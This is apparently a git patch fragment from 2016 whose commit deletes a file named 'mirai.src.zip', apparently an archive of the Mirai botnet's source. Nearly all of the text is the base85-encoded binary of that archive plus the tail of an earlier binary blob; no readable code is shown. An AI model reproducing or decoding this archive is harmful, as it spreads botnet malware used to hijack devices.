zKYDV%U$MiRKXQM$$-g*s|9!=OE#iMqPQm>v`InOZe*^!qi1|JElHjl4UrL()4gAOC z?e}06lD~p~P38VO`L9axEBWWsJN6T%_?7&dZoCkG>c(H58}v&`2?qA+ Date: Wed, 12 Oct 2016 14:29:49 +0800 Subject: [PATCH 11/26] Delete mirai.src.zip --- mirai.src.zip | Bin 71634 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 mirai.src.zip diff --git a/mirai.src.zip b/mirai.src.zip deleted file mode 100644 index 2f7ea3ffd976b0d307bc478398ca24ff6422608c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 71634 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 